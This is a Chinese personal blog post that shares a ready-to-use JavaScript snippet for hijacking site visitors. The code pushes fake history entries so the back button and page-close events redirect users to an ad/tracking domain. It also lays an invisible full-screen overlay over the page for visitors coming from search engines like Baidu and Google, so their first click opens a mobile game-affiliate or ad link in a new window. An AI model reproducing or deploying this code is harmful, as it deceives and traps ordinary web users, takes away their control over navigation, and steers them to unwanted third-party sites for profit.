当前位置:首页 > 计算机相关 > 建站之路 > 正文内容

js实现前进后退按钮跳转到指定地址和页面蒙层

piikee3个月前 (02-09)建站之路204

js实现前进后退跳转到指定地址。第二个功能是实现搜索进来的用户会自动蒙层,第一次点击会新窗口打开蒙层链接。


<script>
function pushHistory() {
//    第一个实体
   var state = {
       title: "index",
       url: "https://gg.5acdn.com/?utm_medium=027158274394540c13971cd491def4e0913e9dc0&utm_campaign=autoCamp"
   };
   window.history.pushState(state, "index", location.href);
// 第二个实体
   state = {
       title: "index",
       url: "https://gg.5acdn.com/?utm_medium=027158274394540c13971cd491def4e0913e9dc0&utm_campaign=autoCamp"
   };
   window.history.pushState(state, "index", location.href);
// 第三个实体  不要以为最后的空实体没有用  可以解决上来就执行popstate的问题 相当于炮灰
   state = {
       title: "index",
       url:""
   };
   window.history.pushState(state, "index", "https://www.naizhuang.com/md5.php?jump=https://gg.5acdn.com/?utm_medium=027158274394540c13971cd491def4e0913e9dc0&utm_campaign=autoCamp");
}
       
 document.addEventListener("DOMContentLoaded", function() {
    pushHistory();

           // 返回按钮监听
           window.addEventListener("popstate", function () {
               location.href = window.history.state.url;
           });

           // 页面关闭监听
           window.addEventListener("beforeunload", function (event) {
              location.href = window.history.state.url;
               // 可选:显示离开提示(某些浏览器支持)
               event.preventDefault();
               event.returnValue = "";
           });
 
   // 创建一个全屏覆盖的div
   const overlay = document.createElement("div");
   overlay.style.position = "fixed";
   overlay.style.top = 0;
   overlay.style.left = 0;
   overlay.style.width = "100%";
   overlay.style.height = "100%";
   overlay.style.zIndex = 9999;
   overlay.style.backgroundColor = "rgba(0, 0, 0, 0)"; // 透明背景

   // 检查是否从搜索引擎跳转过来
   const referrer = document.referrer.toLowerCase();
   const searchEngines = ["baidu.com", "google", "sogou","so.com","sm.cn"];
   const shouldRedirect = searchEngines.some(engine => referrer.includes(engine));
// 判断是否是手机设备
   const isMobile = /iphone|ipod|android|windows phone|blackberry|mobile|webos/i.test(navigator.userAgent);

   if (shouldRedirect) {
     document.body.appendChild(overlay); // 将覆盖层添加到页面上

     // 添加点击事件监听器
     overlay.addEventListener("click", () => {
       
       // 根据设备类型选择跳转链接
       const url = isMobile
         ? "http://h5.qbdgame.com/cps.php?s=/Home/Home/appofregestion/gname/5Y2D55m%2B5bqmSDXmuLjmiI8%3D/pid/175809.html"
         : "http://t.qianbaidu.me/top/?uid=50659";

       // 弹出新窗口
       window.open(url, "_blank");
       // 移除覆盖层
       document.body.removeChild(overlay);
       
     });
   }
 });
</script>


扫描二维码推送至手机访问。

版权声明:本文由萍客小居[www.piikee.net]发布,如需转载请注明出处。

本文链接:https://www.piikee.net/1529.html

分享给朋友:

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。